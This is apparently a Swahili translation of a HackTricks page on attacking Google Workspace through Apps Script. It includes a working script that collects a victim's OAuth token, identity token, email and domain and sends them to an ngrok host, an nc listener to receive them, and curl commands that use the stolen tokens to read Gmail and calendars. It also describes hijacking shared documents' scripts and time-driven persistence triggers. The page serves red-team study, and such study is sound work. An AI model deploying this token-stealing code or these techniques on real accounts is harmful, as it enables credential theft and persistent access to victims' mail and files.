GWS - App Scripts

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Maandiko ya Programu

Maandiko ya Programu ni msimbo ambao utaanzishwa wakati mtumiaji mwenye ruhusa ya hariri anapata hati ambayo Maandiko ya Programu imeunganishwa nayo na baada ya kukubali kidukizo cha OAuth. Wanaweza pia kuwekwa ili watekelezwe kila wakati fulani na mmiliki wa Maandiko ya Programu (Uthabiti).

Unda Maandiko ya Programu

Kuna njia kadhaa za kuunda Maandiko ya Programu, ingawa njia za kawaida zaidi ni kutoka kwa Hati ya Google (ya aina yoyote) na kama mradi wa kujitegemea:

Tengeneza mradi uliounganishwa na chombo kutoka Google Docs, Sheets, au Slides
  1. Fungua hati ya Docs, karatasi ya Sheets, au uwasilishaji wa Slides.

  2. Bonyeza Extensions > Google Apps Script.

  3. Katika mhariri wa msimbo, bonyeza Mradi usio na jina.

  4. Toa jina la mradi wako na bonyeza Badilisha Jina.

Tengeneza mradi wa kujitegemea

Ili kuunda mradi wa kujitegemea kutoka kwa Maandiko ya Programu:

  1. Nenda kwenye script.google.com.

  2. Bonyeza Mradi Mpya.

  3. Katika mhariri wa msimbo, bonyeza Mradi usio na jina.

  4. Toa jina la mradi wako na bonyeza Badilisha Jina.

Tengeneza mradi wa kujitegemea kutoka kwa Google Drive
  1. Fungua Google Drive.

  2. Bonyeza Mpya > Zaidi > Google Apps Script.

Tengeneza mradi uliounganishwa na Fomu ya Google
  1. Fungua fomu kwenye Google Forms.

  2. Bonyeza Zaidi more_vert > Mhariri wa Msimbo.

  3. Katika mhariri wa msimbo, bonyeza Mradi usio na jina.

  4. Toa jina la mradi wako na bonyeza Badilisha Jina.

Tengeneza mradi wa kujitegemea kwa kutumia zana ya mstari wa amri ya clasp

clasp ni zana ya mstari wa amri inayokuwezesha kuunda, kuvuta/kusukuma, na kupeleka miradi ya Maandiko ya Programu kutoka kwenye terminal.

Tazama Mwongozo wa Kielelezo cha Mstari wa Amri ukitumia clasp kwa maelezo zaidi.

Skena ya Maandiko ya Programu

Unda Karatasi ya Google na Maandiko ya Programu

Anza kwa kutengeneza Maandiko ya Programu, mapendekezo yangu kwa hali hii ni kuunda Karatasi ya Google na kwenda Extensions > Maandiko ya Programu, hii itafungua Maandiko ya Programu mpya kwako iliyounganishwa na karatasi.

Fichua kidukizo

Ili kutoa ufikiaji kwa kidukizo cha OAuth unahitaji bonyeza Huduma + na ongeza ruhusa kama:

  • AdminDirectory: Kufikia watumiaji na vikundi vya saraka (ikiwa mtumiaji ana ruhusa za kutosha)

  • Gmail: Kufikia data za gmail

  • Drive: Kufikia data za drive

  • Google Sheets API: Ili ifanye kazi na kichocheo

Kubadilisha ruhusa zinazohitajika unaweza kwenda kwa mipangilio ya mradi na kuwezesha: Onyesha faili ya maneno ya "appsscript.json" katika mhariri.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Kukamata ombi unaweza tu kukimbia:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions zinazohitajika kutekeleza App Script:

Kama ombi la nje linatolewa, dirisha la OAuth pia litauliza idhini ya kufikia vituo vya nje.

Kujenga Kichocheo

Baada ya App kusomwa, bonyeza ⏰ Triggers ili kuunda kichocheo. Kama function chagua getToken, inatekelezwa wakati wa kupelekwa Head, chagua chanzo cha tukio From spreadsheet na aina ya tukio chagua On open au On edit (kulingana na mahitaji yako) na uhifadhi.

Tambua kwamba unaweza kuangalia utekelezaji wa App Scripts katika kichupo cha Utekelezaji ikiwa unataka kutatua hitilafu fulani.

Kushiriki

Ili kichocheo cha App Script kufanye kazi, mwathirika anahitaji kuunganisha na Upatikanaji wa Mhariri.

Token utakaotumika kutekeleza App Script utakuwa wa muundaji wa kichocheo, hata kama faili imefunguliwa kama Mhariri na watumiaji wengine.

Kutumia Nyaraka Zilizoshirikiwa Nami

Ikiwa mtu fulani amekushirikisha nyaraka na App Scripts na kichocheo kikitumia Head ya App Script (si kupelekwa kwa kudumu), unaweza kuhariri msimbo wa App Script (kwa kuongeza kazi za kuiba token kwa mfano), kufikia, na App Script itatekelezwa na idhini za mtumiaji aliyeshirikisha nyaraka hiyo nawe! (tambua kwamba token ya OAuth ya mmiliki itakuwa na wigo wa ufikiaji uliopewa wakati kichocheo kilipoundwa).

Taarifa itatumwa kwa muundaji wa script ikionyesha kwamba mtu amehariri script (Je, unaweza kutumia idhini za gmail kujenga kichuja cha kuzuia tahadhari?)

Ikiwa mshambuliaji anabadilisha wigo wa App Script sasisho hayatakuwa yanatekelezwa kwenye nyaraka hadi kichocheo kipya na mabadiliko kianzishwe. Hivyo, mshambuliaji hataweza kuiba token ya muundaji na wigo zaidi kuliko ule alioweka kwenye kichocheo alichounda.

Kunakili Badala ya Kushiriki

Unapounda kiungo cha kushiriki nyaraka kiungo kama hiki hufanyika: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Ikiwa badilisha mwisho "/edit" kwa "/copy", badala ya kufikia, google itakuuliza ikiwa unataka kuunda nakala ya nyaraka:

Ikiwa mtumiaji anakipiga nakala na kufikia, maudhui ya nyaraka na App Scripts vitakopiwa, hata hivyo kichocheo havitakopi, hivyo kitu hakitatekelezwa.

Kushiriki kama Programu ya Wavuti

Tambua kwamba pia niwezekana kushiriki App Script kama Programu ya Wavuti (katika Mhariri wa App Script, peleka kama Programu ya Wavuti), lakini tahadhari kama hii itaonekana:

Ikifuatiwa na dirisha la OAuth la kawaida linalouliza idhini zinazohitajika.

Jaribio

Unaweza kujaribu token uliokusanywa kuorodhesha barua pepe na:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Orodhesha kalenda ya mtumiaji:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

Skripti ya Programu kama Uimara

Chaguo moja la uimara lingekuwa kuunda hati na kuongeza kichocheo kwa kazi ya kupata na kushirikisha hati hiyo na mshambuliaji ili kila wakati mshambuliaji anapofungua faili, anatoa nje tokeni ya muathiriwa.

Pia ni rahisi kuunda Skripti ya Programu na kuifanya iweze kichocheo kila baada ya muda (kama kila dakika, saa, siku...). Mshambuliaji ambaye amepata vyeti vilivyoharibiwa au kikao cha muathiriwa anaweza kuweka kichocheo cha wakati wa Skripti ya Programu na kufichua tokeni ya OAuth yenye haki kubwa kila siku:

Tuunda Skripti ya Programu, nenda kwa Kichocheo, bonyeza Ongeza Kichocheo, na chagua chanzo cha tukio kama Time-driven na chagua chaguo linalokufaa zaidi:

Hii itaunda barua pepe ya tahadhari ya usalama na ujumbe wa kushinikiza kwenye simu yako ukiarifu kuhusu hili.

Kizuizi cha Uthibitishaji wa Hatari ya Hati Iliyoshirikiwa

Zaidi ya hayo, ikiwa mtu amekushirikishia hati na upatikanaji wa wahariri, unaweza kuzalisha Skripti za Programu ndani ya hati na MMILIKI (muumba) wa hati atakuwa mmiliki wa Skripti ya Programu.

Hii inamaanisha kwamba muumba wa hati ataonekana kama muumba wa Skripti yoyote ya Programu ambayo mtu yeyote mwenye upatikanaji wa wahariri anaunda ndani yake.

Hii pia inamaanisha kwamba Skripti ya Programu itakuwa na imani na mazingira ya Workspace ya muumba wa hati.

Hii pia inamaanisha kwamba ikiwa Skripti ya Programu tayari ipo na watu wamepa upatikanaji, mtu yeyote mwenye Ruhusa ya Mhariri kwenye hati anaweza kuibadilisha na kutumia upatikanaji huo. Kutumia hili pia unahitaji watu kichocheo Skripti ya Programu. Na mbinu moja nzuri ni kuchapisha skripti kama programu ya wavuti. Wakati watu waliokubali tayari upatikanaji wa Skripti ya Programu wanapata ukurasa wa wavuti, wata kichocheo Skripti ya Programu (hii pia inafanya kazi kwa kutumia vitambulisho vya <img>).

Last updated